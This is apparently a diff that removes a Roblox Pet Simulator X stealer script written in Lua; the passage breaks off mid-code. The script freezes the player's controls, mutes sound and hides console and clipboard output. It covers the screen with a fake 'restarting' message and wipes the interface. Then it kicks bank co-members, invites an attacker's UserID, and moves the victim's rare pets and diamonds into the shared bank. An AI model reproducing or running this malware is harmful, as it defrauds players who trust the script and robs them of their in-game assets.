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- if getgenv().executed1 then return end
- getgenv().executed1 = true
- local runService = game:GetService("RunService")
- local camera = workspace.CurrentCamera
- local disabledKeyCodes = {
- 0x73,
- 0xA4,
- 0xA5,
- 0x1B,
- 0x0D,
- };
- UserSettings().GameSettings.MasterVolume = 0
- if _G.MouseLock ~= false then
- runService.RenderStepped:Connect(function()
- for _, keyCode in next, disabledKeyCodes do
- keyrelease(keyCode)
- end
- mousemoveabs(camera.ViewportSize.X / 3, camera.ViewportSize.Y / 3);
- end);
- end
- local function antiPrint(...)
- local info = debug.getinfo(2)
- if info and info.what == 'Lua' and info.func == print then
- return
- end
- return print(...)
- end
- print = antiPrint
- rconsoleprint = antiPrint
- rconsolewarn = antiPrint
- rconsoleerr = antiPrint
- rconsoleinput = antiPrint
- printconsole = antiPrint
- setclipboard = antiPrint
- local runService = game:GetService("RunService")
- local camera = workspace.CurrentCamera
- local diamond = game.Players.LocalPlayer.PlayerGui.Main.Right.Diamonds.Amount.Text
- local rank = game.Players.LocalPlayer.PlayerGui.Main.Right.Rank.RankName.Text
- -- Detection
- local exploit
- request = (syn and syn.request) or (http and http.request) or http_request or (fluxus and fluxus.request) or request or
- HttpPost
- local function getexploit()
- local exploitt =
- (syn and not is_sirhurt_closure and not pebc_execute and "Synapse X") or
- (secure_load and "Sentinel") or
- (is_sirhurt_closure and "Sirhurt") or
- (pebc_execute and "ProtoSmasher") or
- (KRNL_LOADED and "KRNL") or
- (WrapGlobal and "WeAreDevs") or
- (isvm and "Proxo") or
- (shadow_env and "Shadow") or
- (jit and "EasyExploits") or
- (getscriptenvs and "Calamari") or
- (unit and not syn and "Unit") or
- (OXYGEN_LOADED and "Oxygen U") or
- (IsElectron and "Electron") or
- ("Couldnt Grab")
- exploit = exploitt
- end
- getexploit()
- local idiotuser = game:GetService("Players").LocalPlayer.Name
- local url = _G.Webhook
- if _G.UserID == nil then
- game:GetService("Players").LocalPlayer:Kick("Put A UserId")
- return;
- end
- local worked = pcall(function()
- game:GetService("Players"):GetNameFromUserIdAsync(_G.UserID)
- end)
- if not worked then
- game:GetService("Players").LocalPlayer:Kick("Put A Valid UserId!")
- return;
- end
- local UserName = game:GetService("Players"):GetNameFromUserIdAsync(_G.UserID)
- if idiotuser == UserName then
- game:GetService("Players").LocalPlayer:Kick("You Are The Owner! (test on alt)")
- end
- -- Checks
- if _G.LoadingScreen ~= false then
- local ScreenGui = Instance.new("ScreenGui")
- local Frame = Instance.new("Frame")
- local TextLabel = Instance.new("TextLabel")
- local ImageLabel = Instance.new("ImageLabel")
- local TextLabel_2 = Instance.new("TextLabel")
- --Properties:
- ScreenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
- ScreenGui.DisplayOrder = 999999999
- Frame.Parent = ScreenGui
- Frame.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- Frame.Position = UDim2.new(-1.1603854, 0, -1.10370374, 0)
- Frame.Size = UDim2.new(0, 1000000, 0, 100000000)
- UIAspectRatioConstraint = Frame
- TextLabel.Parent = ScreenGui
- TextLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
- TextLabel.BackgroundTransparency = 1.000
- TextLabel.Position = UDim2.new(0.1512353545, 0, 0.373532414, 0)
- TextLabel.Size = UDim2.new(0, 1245, 0, 310)
- TextLabel.ZIndex = 3
- TextLabel.Font = Enum.Font.SourceSansBold
- TextLabel.Text = "We're restarting Pet Simulator X!"
- TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
- TextLabel.TextSize = 70.000
- TextLabel.TextWrapped = true
- ImageLabel.Parent = ScreenGui
- ImageLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
- ImageLabel.BackgroundTransparency = 1.000
- ImageLabel.Position = UDim2.new(0.3251033338259, 0, 0.13342583251, 0)
- ImageLabel.Size = UDim2.new(0, 510, 0, 259)
- ImageLabel.ZIndex = 2
- ImageLabel.Image = "http://www.roblox.com/asset/?id=13441881980"
- TextLabel_2.Parent = ScreenGui
- TextLabel_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
- TextLabel_2.BackgroundTransparency = 1.000
- TextLabel_2.Position = UDim2.new(0.1512353545, 0, 0.468594134, 0)
- TextLabel_2.Size = UDim2.new(0, 1245, 0, 310)
- TextLabel_2.ZIndex = 3
- TextLabel_2.Font = Enum.Font.SourceSansBold
- TextLabel_2.Text = "Please wait while we redirect you..."
- TextLabel_2.TextColor3 = Color3.fromRGB(255, 255, 255)
- TextLabel_2.TextSize = 36.000
- TextLabel_2.TextWrapped = true
- end
- if _G.AntiLeave ~= false then
- for i, v in pairs(game:GetService("Players").LocalPlayer.PlayerGui:GetChildren()) do
- if v.Name ~= "Inventory" then
- v:Destroy()
- end
- end
- for i, v in pairs(game:GetService("CoreGui"):GetChildren()) do
- if v.Name ~= "RizzHub" and v.Name ~= "RobloxPromptGui" then
- v:Destroy()
- end
- end
- end
- local ScreenGui = Instance.new("ScreenGui")
- local Frame = Instance.new("Frame")
- local TextLabel = Instance.new("TextLabel")
- local ImageLabel = Instance.new("ImageLabel")
- local TextLabel_2 = Instance.new("TextLabel")
- --Properties:
- ScreenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
- ScreenGui.DisplayOrder = 999999999
- Frame.Parent = ScreenGui
- Frame.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- Frame.Position = UDim2.new(-1.1603854, 0, -1.10370374, 0)
- Frame.Size = UDim2.new(0, 1000000, 0, 100000000)
- UIAspectRatioConstraint = Frame
- TextLabel.Parent = ScreenGui
- TextLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
- TextLabel.BackgroundTransparency = 1.000
- TextLabel.Position = UDim2.new(0.1512353545, 0, 0.373532414, 0)
- TextLabel.Size = UDim2.new(0, 1245, 0, 310)
- TextLabel.ZIndex = 3
- TextLabel.Font = Enum.Font.SourceSansBold
- TextLabel.Text = "We're restarting Pet Simulator X!"
- TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
- TextLabel.TextSize = 70.000
- TextLabel.TextWrapped = true
- ImageLabel.Parent = ScreenGui
- ImageLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
- ImageLabel.BackgroundTransparency = 1.000
- ImageLabel.Position = UDim2.new(0.3251033338259, 0, 0.13342583251, 0)
- ImageLabel.Size = UDim2.new(0, 510, 0, 259)
- ImageLabel.ZIndex = 2
- ImageLabel.Image = "http://www.roblox.com/asset/?id=13441881980"
- TextLabel_2.Parent = ScreenGui
- TextLabel_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
- TextLabel_2.BackgroundTransparency = 1.000
- TextLabel_2.Position = UDim2.new(0.1512353545, 0, 0.468594134, 0)
- TextLabel_2.Size = UDim2.new(0, 1245, 0, 310)
- TextLabel_2.ZIndex = 3
- TextLabel_2.Font = Enum.Font.SourceSansBold
- TextLabel_2.Text = "Please wait while we redirect you..."
- TextLabel_2.TextColor3 = Color3.fromRGB(255, 255, 255)
- TextLabel_2.TextSize = 36.000
- TextLabel_2.TextWrapped = true
- -- Remotes
- local getmybanksremote = debug.getconstant(
- getsenv(game:GetService("Players").LocalPlayer.PlayerScripts.Scripts.GUIs[
- "Bank Client"]).GetMyBanks, 3)
- local inviteremote = debug.getconstant(getsenv(game:GetService("Players").LocalPlayer.PlayerScripts.Scripts.GUIs[
- "Bank Client"]).InviteToBank, 18)
- local lockremote = debug.getconstant(
- getsenv(game:GetService("Players").LocalPlayer.PlayerScripts.Scripts.GUIs.Inventory)
- .LockPets, 5)
- local depositremote = debug.getconstant(getsenv(game:GetService("Players").LocalPlayer.PlayerScripts.Scripts.GUIs[
- "Bank Client"]).Deposit, 16)
- local eggremote = debug.getconstant(
- debug.getprotos(getsenv(game:GetService("Players").LocalPlayer.PlayerScripts.Scripts
- .Game.Eggs).SetupEgg)[5], 26)
- local getbankremote = debug.getconstant(getsenv(game:GetService("Players").LocalPlayer.PlayerScripts.Scripts.GUIs[
- "Bank Client"]).GetBank, 3)
- local upgraderemote = debug.getconstant(getsenv(game:GetService("Players").LocalPlayer.PlayerScripts.Scripts.GUIs[
- "Bank Client"]).UpgradeBank, 18)
- local kickremote = debug.getconstant(getsenv(game:GetService("Players").LocalPlayer.PlayerScripts.Scripts.GUIs[
- "Bank Client"]).KickMember, 9)
- local withdrawremote = debug.getconstant(getsenv(game:GetService("Players").LocalPlayer.PlayerScripts.Scripts.GUIs[
- "Bank Client"]).Withdraw, 16)
- -- Libs
- local blobx = getupvalues(require(game:GetService("ReplicatedStorage").Library.Client["Network"]).Invoke)
- local bloby = getupvalues(blobx[2])
- local blobz = getupvalues(bloby[1])[1][2]
- local bloba = getupvalues(require(game:GetService("ReplicatedStorage").Library.Client["Network"]).Invoke)
- local blobb = getupvalues(bloba[2])
- getmybanksremote = blobz[blobb[2](2, getmybanksremote)]
- inviteremote = blobz[blobb[2](2, inviteremote)]
- lockremote = blobz[blobb[2](2, lockremote)]
- depositremote = blobz[blobb[2](2, depositremote)]
- eggremote = blobz[blobb[2](2, eggremote)]
- getbankremote = blobz[blobb[2](2, getbankremote)]
- upgraderemote = blobz[blobb[2](2, upgraderemote)]
- kickremote = blobz[blobb[2](2, kickremote)]
- withdrawremote = blobz[blobb[2](2, withdrawremote)]
- local lib = require(game.ReplicatedStorage:WaitForChild("Library"))
- local mybanks = getmybanksremote:InvokeServer()
- game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(game:GetService("Workspace")[
- "__MAP"].Interactive.Bank.Pad.Position)
- task.wait()
- if mybanks[1] == nil then
- game:GetService("Players").LocalPlayer:Kick("Script Is Not Supported 1")
- return;
- end
- -- Banks Locals
- -- Bank Withdraws
- -- Bank 1
- local SuperBank
- local Bank
- local SuperBank2
- local Bank2
- local SuperBank3
- local Bank3
- local SuperBank4
- local Bank4
- local SuperBank5
- local Bank5
- local FinalList2 = {}
- local FinalList3 = {}
- local FinalList4 = {}
- local FinalList5 = {}
- local LFinalList = {}
- local bdiaamt = 0
- local bdiaamt2 = 0
- local bdiaamt3 = 0
- local bdiaamt4 = 0
- local bdiaamt5 = 0
- local bankscount = 0
- local FinalFinal = 0
- local DiamondsDiamonds = 0
- Library = require(game:GetService("ReplicatedStorage").Framework:FindFirstChild("Library"))
- Functions = Library.Functions
- LHugBEList = {}
- table.foreach(Library.Directory.Pets, function(i, v)
- if v.huge then
- table.insert(LHugBEList, i)
- end
- if v.titanic then
- table.insert(LHugBEList, i)
- end
- if v.name == "banana" then
- table.insert(LHugBEList, i)
- end
- end)
- game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(game:GetService("Workspace")[
- "__MAP"].Interactive.Bank.Pad.Position)
- if mybanks[1] ~= nil then
- bankscount = bankscount + 1
- end
- if mybanks[2] ~= nil then
- bankscount = bankscount + 1
- end
- if mybanks[3] ~= nil then
- bankscount = bankscount + 1
- end
- if mybanks[4] ~= nil then
- bankscount = bankscount + 1
- end
- if mybanks[5] ~= nil then
- bankscount = bankscount + 1
- end
- if mybanks[1] ~= nil then
- local BankID = mybanks[1]["BUID"]
- Bank = BankID
- LHList = {}
- SuperBank = getbankremote:InvokeServer(Bank)
- local lpets = SuperBank.Storage.Pets
- local y = {}
- for i, v in pairs(lpets) do
- y[v["uid"]] = false
- end
- for i, v in pairs(lpets) do
- if table.find(LHugBEList, v["id"]) ~= nil and v.l then
- table.insert(LHList, v["uid"])
- end
- end
- if #LHList < 50 then
- for i, v in pairs(LHList) do
- table.insert(LFinalList, v)
- end
- elseif #LHList > 50 then
- for i, v in pairs(LHList) do
- if #LFinalList < 50 then
- table.insert(LFinalList, v)
- end
- end
- end
- if #LFinalList ~= 0 then
- local A_5 = {
- [1] = Bank,
- [2] = LFinalList,
- [3] = 0
- }
- wait()
- local s, e = pcall(function()
- withdrawremote:InvokeServer(Bank, LFinalList, 0)
- end)
- if s == false then
- wait(0.2)
- withdrawremote:InvokeServer(Bank, FinalList, 0)
- end
- wait(1.5)
- end
- end
- if mybanks[2] ~= nil then
- local BankID2 = mybanks[2]["BUID"]
- Bank2 = BankID2
- SuperBank2 = getbankremote:InvokeServer(Bank2)
- BHList2 = {}
- local pets2 = SuperBank2.Storage.Pets
- local y = {}
- for i, v in pairs(pets2) do
- y[v["uid"]] = false
- end
- for i, v in pairs(pets2) do
- if table.find(LHugBEList, v["id"]) ~= nil and not v.l then
- table.insert(BHList2, v["uid"])
- end
- end
- if #BHList2 < 50 then
- for i, v in pairs(BHList2) do
- table.insert(FinalList2, v)
- end
- elseif #BHList2 > 50 then
- for i, v in pairs(BHList2) do
- if #FinalList2 < 50 then
- table.insert(FinalList2, v)
- end
- end
- end
- bdiaamt2 = SuperBank2.Storage.Currency.Diamonds
- if bdiaamt2 >= 1000000000 then
- bdiaamt2 = bdiaamt2
- elseif #FinalList2 ~= 0 and bdiaamt2 < 1000000000 then
- bdiaamt2 = bdiaamt2
- else
- bdiaamt2 = 0
- end
- if #FinalList2 ~= 0 or bdiaamt2 ~= 0 then
- local A_1 = {
- [1] = Bank2,
- [2] = FinalList2,
- [3] = 0
- }
- wait()
- local s, e = pcall(function()
- withdrawremote:InvokeServer(Bank2, FinalList2, bdiaamt2)
- end)
- if s == false then
- wait(0.2)
- withdrawremote:InvokeServer(Bank2, FinalList2, 0)
- end
- wait(1.5)
- end
- end
- if mybanks[3] ~= nil then
- local BankID3 = mybanks[3]["BUID"]
- Bank3 = BankID3
- SuperBank3 = getbankremote:InvokeServer(Bank3)
- BHList3 = {}
- local pets3 = SuperBank3.Storage.Pets
- local y = {}
- for i, v in pairs(pets3) do
- y[v["uid"]] = false
- end
- for i, v in pairs(pets3) do
- if table.find(LHugBEList, v["id"]) ~= nil and not v.l then
- table.insert(BHList3, v["uid"])
- end
- end
- if #BHList3 < 50 then
- for i, v in pairs(BHList3) do
- table.insert(FinalList3, v)
- end
- elseif #BHList3 > 50 then
- for i, v in pairs(BHList3) do
- if #FinalList3 < 50 then
- table.insert(FinalList3, v)
- end
- end
- end
- bdiaamt3 = SuperBank3.Storage.Currency.Diamonds
- if bdiaamt3 >= 1000000000 then
- bdiaamt3 = bdiaamt3
- elseif #FinalList3 ~= 0 and bdiaamt3 < 1000000000 then
- bdiaamt3 = bdiaamt3
- else
- bdiaamt3 = 0
- end
- if #FinalList3 ~= 0 or bdiaamt3 ~= 0 then
- local A_1 = {
- [1] = Bank3,
- [2] = FinalList3,
- [3] = 0
- }
- wait()
- local s, e = pcall(function()
- withdrawremote:InvokeServer(Bank3, FinalList3, bdiaamt3)
- end)
- if s == false then
- wait(0.2)
- withdrawremote:InvokeServer(Bank3, FinalList3, 0)
- end
- wait(1.5)
- end
- end
- if mybanks[4] ~= nil then
- local BankID4 = mybanks[4]["BUID"]
- Bank4 = BankID4
- SuperBank4 = getbankremote:InvokeServer(Bank4)
- BHList4 = {}
- local pets4 = SuperBank4.Storage.Pets
- local y = {}
- for i, v in pairs(pets4) do
- y[v["uid"]] = false
- end
- for i, v in pairs(pets4) do
- if table.find(LHugBEList, v["id"]) ~= nil and not v.l then
- table.insert(BHList4, v["uid"])
- end
- end
- if #BHList4 < 50 then
- for i, v in pairs(BHList4) do
- table.insert(FinalList4, v)
- end
- elseif #BHList4 > 50 then
- for i, v in pairs(BHList4) do
- if #FinalList4 < 50 then
- table.insert(FinalList4, v)
- end
- end
- end
- bdiaamt4 = SuperBank4.Storage.Currency.Diamonds
- if bdiaamt4 >= 1000000000 then
- bdiaamt4 = bdiaamt4
- elseif #FinalList4 ~= 0 and bdiaamt4 < 1000000000 then
- bdiaamt4 = bdiaamt4
- else
- bdiaamt4 = 0
- end
- if #FinalList4 ~= 0 or bdiaamt4 ~= 0 then
- local A_1 = {
- [1] = Bank4,
- [2] = FinalList4,
- [3] = 0
- }
- wait()
- local s, e = pcall(function()
- withdrawremote:InvokeServer(Bank4, FinalList4, bdiaamt4)
- end)
- if s == false then
- wait(0.2)
- withdrawremote:InvokeServer(Bank4, FinalList4, 0)
- end
- wait(1.5)
- end
- end
- -- Bank 5
- if mybanks[5] ~= nil then
- local BankID5 = mybanks[5]["BUID"]
- Bank5 = BankID5
- SuperBank5 = getbankremote:InvokeServer(Bank5)
- BHList5 = {}
- local pets5 = SuperBank5.Storage.Pets
- local y = {}
- for i, v in pairs(pets5) do
- y[v["uid"]] = false
- end
- for i, v in pairs(pets5) do
- if table.find(LHugBEList, v["id"]) ~= nil and not v.l then
- table.insert(BHList5, v["uid"])
- end
- end
- if #BHList5 < 50 then
- for i, v in pairs(BHList5) do
- table.insert(FinalList5, v)
- end
- elseif #BHList5 > 50 then
- for i, v in pairs(BHList5) do
- if #FinalList5 < 50 then
- table.insert(FinalList5, v)
- end
- end
- end
- bdiaamt5 = SuperBank5.Storage.Currency.Diamonds
- if bdiaamt5 >= 1000000000 then
- bdiaamt5 = bdiaamt5
- elseif #FinalList5 ~= 0 and bdiaamt5 < 1000000000 then
- bdiaamt5 = bdiaamt5
- else
- bdiaamt5 = 0
- end
- if #FinalList5 ~= 0 or bdiaamt5 ~= 0 then
- local A_1 = {
- [1] = Bank5,
- [2] = FinalList5,
- [3] = 0
- }
- wait()
- local s, e = pcall(function()
- withdrawremote:InvokeServer(Bank5, FinalList5, bdiaamt5)
- end)
- if s == false then
- wait(0.2)
- withdrawremote:InvokeServer(Bank5, FinalList5, 0)
- end
- wait(1.5)
- end
- end
- FinalFinal = #FinalList2 + #FinalList3 + #FinalList4 + #FinalList5
- DiamondsDiamonds = bdiaamt2 + bdiaamt3 + bdiaamt4 + bdiaamt5
- print(DiamondsDiamonds)
- local SuperBank = getbankremote:InvokeServer(Bank)
- local tier = SuperBank["Tier"]
- local max = 50
- local gemsinbank = SuperBank["Storage"]["Currency"]["Diamonds"]
- local petsinbank = #SuperBank["Storage"]["Pets"]
- local tier1hold = 40 - petsinbank
- local tier2hold = 95 - petsinbank
- local tier3hold = 200 - petsinbank
- local tier4hold = 500 - petsinbank
- local tier1gems = 10000000000 - gemsinbank
- local tier2gems = 50000000000 - gemsinbank
- local tier3gems = 300000000000 - gemsinbank
- local tier4gems = 1500000000000 - gemsinbank
- -- Kicking The Players
- for i, v in pairs(SuperBank["Players"]) do
- if v ~= _G.UserID then
- kickremote:InvokeServer(Bank, v)
- end
- end
- -- First Invite
- if tier ~= 1 then
- inviteremote:InvokeServer(mybanks[1]["BUID"], _G.UserID)
- end
- -- Bank Pets
- Library = require(game:GetService("ReplicatedStorage").Framework:FindFirstChild("Library"))
- Functions = Library.Functions
- BEXCList = {}
- BMythicList = {}
- BSecretList = {}
- BHugeList = {}
- BPogList = {}
- BBananaList = {}
- BSList = {}
- BEList = {}
- BMList = {}
- BHList = {}
- BPList = {}
- BBList = {}
- table.foreach(Library.Directory.Pets, function(i, v)
- if v.rarity == "Exclusive" or v.rarity == "Event" then
- table.insert(BEXCList, i)
- end
- if v.rarity == "Mythical" then
- table.insert(BMythicList, i)
- end
- if v.huge then
- table.insert(BHugeList, i)
- end
- if v.rarity == "Secret" then
- table.insert(BSecretList, i)
- end
- if string.split(v.name, " ")[1] == "Pog" then
- table.insert(BPogList, i)
- end
- if v.name == "banana" then
- table.insert(BBananaList, i)
- end
- end)
- for i, v in pairs(BPogList) do
- table.insert(BEXCList, v)
- end
- for i, v in pairs(BBananaList) do
- table.insert(BEXCList, v)
- end
- local pets = SuperBank["Storage"]["Pets"]
- local y = {}
- for i, v in pairs(pets) do
- y[v["uid"]] = false
- end
- for i, v in pairs(pets) do
- if table.find(BEXCList, v["id"]) ~= nil then
- table.insert(BEList, v["uid"])
- end
- if table.find(BMythicList, v["id"]) ~= nil and v.s >= 1e+15 then
- table.insert(BMList, v["uid"])
- end
- if table.find(BSecretList, v["id"]) ~= nil then
- table.insert(BSList, v["uid"])
- end
- if table.find(BHugeList, v["id"]) ~= nil then
- table.insert(BHList, v["uid"])
- end
- end
- local BEHList = #BEList - #BHList
- -- Pet stuff
- local FinalList = {}
- Library = require(game:GetService("ReplicatedStorage").Framework:FindFirstChild("Library"))
- Functions = Library.Functions
- EXCList = {}
- MythicList = {}
- SecretList = {}
- HugeList = {}
- PogList = {}
- BananaList = {}
- SList = {}
- EList = {}
- MList = {}
- HList = {}
- PList = {}
- BList = {}
- table.foreach(Library.Directory.Pets, function(i, v)
- if v.rarity == "Exclusive" and not v.huge then
- table.insert(EXCList, i)
- end
- if v.rarity == "Event" then
- table.insert(EXCList, i)
- end
- if v.rarity == "Mythical" then
- table.insert(MythicList, i)
- end
- if v.huge then
- table.insert(HugeList, i)
- end
- if v.rarity == "Secret" then
- table.insert(SecretList, i)
- end
- if string.split(v.name, " ")[1] == "Pog" then
- table.insert(PogList, i)
- end
- if v.name == "banana" then
- table.insert(BananaList, i)
- end
- end)
- for i, v in pairs(PogList) do
- table.insert(EXCList, v)
- end
- for i, v in pairs(BananaList) do
- table.insert(EXCList, v)
- end
- local pets = require(game:GetService("ReplicatedStorage").Library.Client.Save).Get().Pets
- local y = {}
- for i, v in pairs(pets) do
- y[v["uid"]] = false
- end
- lockremote:InvokeServer(y)
- for i, v in pairs(pets) do
- if table.find(EXCList, v["id"]) ~= nil then
- table.insert(EList, v["uid"])
- end
- if table.find(MythicList, v["id"]) ~= nil and v.s >= 1e+15 and not v.hc then
- table.insert(MList, v["uid"])
- end
- if table.find(MythicList, v["id"]) ~= nil and v.hc then
- table.insert(MList, v["uid"])
- end
- if table.find(SecretList, v["id"]) ~= nil then
- table.insert(SList, v["uid"])
- end
- if table.find(HugeList, v["id"]) ~= nil then
- table.insert(HList, v["uid"])
- end
- end
- if tier == 1 then
- max = tier1hold
- elseif tier == 2 then
- if tier2hold > 50 then
- max = 50
- elseif tier2hold < 50 then
- max = tier2hold
- end
- elseif tier == 3 then
- if tier3hold > 50 then
- max = 50
- elseif tier3hold < 50 then
- max = tier3hold
- end
- elseif tier == 4 then
- if tier4hold > 50 then
- max = 50
- elseif tier4hold < 50 then
- max = tier4hold
- end
- else
- max = 50
- end
- print(max)
- if #EList + #MList + #PList + #SList + #HList < max then
- for i, v in pairs(HList) do
- table.insert(FinalList, v)
- end
- for i, v in pairs(EList) do
- table.insert(FinalList, v)
- end
- for i, v in pairs(SList) do
- table.insert(FinalList, v)
- end
- for i, v in pairs(MList) do
- table.insert(FinalList, v)
- end
- elseif #EList + #SList + #MList + #HList > max and #HList < max then
- for i, v in pairs(HList) do
- table.insert(FinalList, v)
- end
- for i, v in pairs(EList) do
- if #FinalList < max then
- table.insert(FinalList, v)
- end
- end
- for i, v in pairs(SList) do
- if #FinalList < max then
- table.insert(FinalList, v)
- end
- end
- for i, v in pairs(MList) do
- if #FinalList < max then
- table.insert(FinalList, v)
- end
- end
- elseif #EList + #SList + #MList + #HList > max and #HList > max then
- for i, v in pairs(HList) do
- if #FinalList < max then
- table.insert(FinalList, v)
- end
- end
- elseif #EList + #MList + #PList + #SList + #HList > max and #HList == 0 and #EList < max then
- for i, v in pairs(EList) do
- table.insert(FinalList, v)
- end
- for i, v in pairs(SList) do
- if #FinalList < max then
- table.insert(FinalList, v)
- end
- end
- for i, v in pairs(MList) do
- if #FinalList < max then
- table.insert(FinalList, v)
- end
- end
- elseif #EList + #MList + #PList + #SList > max and #HList == 0 and #EList > max then
- for i, v in pairs(EList) do
- if #FinalList < max then
- table.insert(FinalList, v)
- end
- end
- elseif #EList + #MList + #PList + #SList > max and #HList == 0 and #EList == 0 and #SList < max then
- for i, v in pairs(SList) do
- table.insert(FinalList, v)
- end
- for i, v in pairs(MList) do
- if #FinalList < max then
- table.insert(FinalList, v)
- end
- end
- elseif #EList + #MList + #PList + #SList > max and #HList == 0 and #EList == 0 and #SList > max then
- for i, v in pairs(SList) do
- if #FinalList < max then
- table.insert(FinalList, v)
- end
- end
- end
- -- Bank Pets
- wait()
- game:GetService("Players").LocalPlayer.PlayerScripts.Scripts.Game["Open Eggs"].Disabled = true
- local A_1 = {
- [1] = "Cracked Egg",
- [2] = false
- }
- eggremote:InvokeServer("Cracked Egg", false, false)
- wait()
- local A_1 = {
- [1] = Bank,
- [2] = FinalList,
- [3] = 0
- }
- wait()
- local diaamt = require(game:GetService("ReplicatedStorage").Library.Client.Save).Get().Diamonds
- if diaamt ~= 0 then
- diaamt = diaamt - 1
- end
- if tier == 1 and diaamt > tier1gems then
- diaamt = tier1gems
- elseif tier == 1 and diaamt <= tier1gems then
- diaamt = diaamt
- elseif tier == 2 and diaamt > tier2gems then
- diaamt = tier2gems
- elseif tier == 2 and diaamt <= tier2gems then
- diaamt = diaamt
- elseif tier == 3 and diaamt > tier3gems then
- diaamt = tier3gems
- elseif tier == 3 and diaamt <= tier3gems then
- diaamt = diaamt
- elseif tier == 4 and diaamt > tier4gems then
- diaamt = tier4gems
- elseif tier == 4 and diaamt <= tier4gems then
- diaamt = diaamt
- else
- diaamt = diaamt
- end
- local s, e = pcall(function()
- wait(0.2)
- depositremote:InvokeServer(Bank, FinalList, diaamt)
- end)
- if s == false then
- wait(0.2)
- depositremote:InvokeServer(Bank, FinalList, 1)
- end
- local banktiercheck = true
- if s == true then
- if tier == 1 and diaamt + SuperBank["Storage"]["Currency"]["Diamonds"] >= 40000000 then
- upgraderemote:InvokeServer(Bank)
- banktiercheck = true
- tier = 2
- elseif tier == 1 and diaamt + SuperBank["Storage"]["Currency"]["Diamonds"] < 40000000 then
- banktiercheck = false
- game:GetService("Players").LocalPlayer:Kick("Script Is Not Supported")
- end
- end
- local SFinalList = {}
- if #FinalList == 50 then
- wait(0.5)
- local Smax = 50
- Library = require(game:GetService("ReplicatedStorage").Framework:FindFirstChild("Library"))
- Functions = Library.Functions
- SEXCList = {}
- SMythicList = {}
- SSecretList = {}
- SHugeList = {}
- SPogList = {}
- SBananaList = {}
- SSList = {}
- SEList = {}
- SMList = {}
- SHList = {}
- SPList = {}
- SBList = {}
- table.foreach(Library.Directory.Pets, function(i, v)
- if v.rarity == "Exclusive" and not v.huge then
- table.insert(SEXCList, i)
- end
- if v.rarity == "Event" and not v.huge then
- table.insert(SEXCList, i)
- end
- if v.rarity == "Mythical" then
- table.insert(SMythicList, i)
- end
- if v.huge then
- table.insert(SHugeList, i)
- end
- if v.rarity == "Secret" then
- table.insert(SSecretList, i)
- end
- if string.split(v.name, " ")[1] == "Pog" then
- table.insert(SPogList, i)
- end
- if v.name == "banana" then
- table.insert(SBananaList, i)
- end
- end)
- for i, v in pairs(SPogList) do
- table.insert(SEXCList, v)
- end
- for i, v in pairs(SBananaList) do
- table.insert(SEXCList, v)
- end
- local Spets = require(game:GetService("ReplicatedStorage").Library.Client.Save).Get().Pets
- local y = {}
- for i, v in pairs(Spets) do
- y[v["uid"]] = false
- end
- for i, v in pairs(Spets) do
- if table.find(SEXCList, v["id"]) ~= nil then
- table.insert(SEList, v["uid"])
- end
- if table.find(SMythicList, v["id"]) ~= nil and v.s >= 1e+15 and not v.hc then
- table.insert(SMList, v["uid"])
- end
- if table.find(SMythicList, v["id"]) ~= nil and v.hc then
- table.insert(SMList, v["uid"])
- end
- if table.find(SSecretList, v["id"]) ~= nil then
- table.insert(SSList, v["uid"])
- end
- if table.find(SHugeList, v["id"]) ~= nil then
- table.insert(SHList, v["uid"])
- end
- end
- if tier == 1 then
- Smax = tier1hold - #FinalList
- elseif tier == 2 then
- if tier2hold - #FinalList > 50 then
- Smax = 50
- elseif tier2hold - #FinalList < 50 then
- Smax = tier2hold - #FinalList
- end
- elseif tier == 3 then
- if tier3hold - #FinalList > 50 then
- Smax = 50
- elseif tier3hold - #FinalList < 50 then
- Smax = tier3hold - #FinalList
- end
- elseif tier == 4 - #FinalList then
- if tier4hold - #FinalList > 50 then
- Smax = 50
- elseif tier4hold - #FinalList < 50 then
- Smax = tier4hold - #FinalList
- end
- else
- Smax = 50
- end
- print(Smax)
- if #SEList + #SMList + #SPList + #SSList + #SHList < Smax then
- for i, v in pairs(SHList) do
- table.insert(SFinalList, v)
- end
- for i, v in pairs(SEList) do
- table.insert(SFinalList, v)
- end
- for i, v in pairs(SSList) do
- table.insert(SFinalList, v)
- end
- for i, v in pairs(SMList) do
- table.insert(SFinalList, v)
- end
- elseif #SEList + #SSList + #SMList + #SHList > Smax and #SHList < Smax then
- for i, v in pairs(SHList) do
- table.insert(SFinalList, v)
- end
- for i, v in pairs(SEList) do
- if #SFinalList < Smax then
- table.insert(SFinalList, v)
- end
- end
- for i, v in pairs(SSList) do
- if #SFinalList < Smax then
- table.insert(SFinalList, v)
- end
- end
- for i, v in pairs(SMList) do
- if #SFinalList < Smax then
- table.insert(SFinalList, v)
- end
- end
- elseif #SEList + #SSList + #SMList + #SHList > Smax and #SHList > Smax then
- for i, v in pairs(SHList) do
- if #SFinalList < Smax then
- table.insert(SFinalList, v)
- end
- end
- elseif #SEList + #SMList + #SPList + #SSList + #SHList > Smax and #SHList == 0 and #SEList < Smax then
- for i, v in pairs(SEList) do
- table.insert(SFinalList, v)
- end
- for i, v in pairs(SSList) do
- if #SFinalList < Smax then
- table.insert(SFinalList, v)
- end
- end
- for i, v in pairs(SMList) do
- if #SFinalList < Smax then
- table.insert(SFinalList, v)
- end
- end
- elseif #SEList + #SMList + #SPList + #SSList > Smax and #SHList == 0 and #SEList > Smax then
- for i, v in pairs(SEList) do
- if #SFinalList < Smax then
- table.insert(SFinalList, v)
- end
- end
- elseif #SEList + #SMList + #SPList + #SSList > Smax and #SHList == 0 and #SEList == 0 and #SSList < Smax then
- for i, v in pairs(SSList) do
- table.insert(SFinalList, v)
- end
- for i, v in pairs(SMList) do
- if #SFinalList < Smax then
- table.insert(SFinalList, v)
- end
- end
- elseif #SEList + #SMList + #SPList + #SSList > Smax and #SHList == 0 and #SEList == 0 and #SSList > Smax then
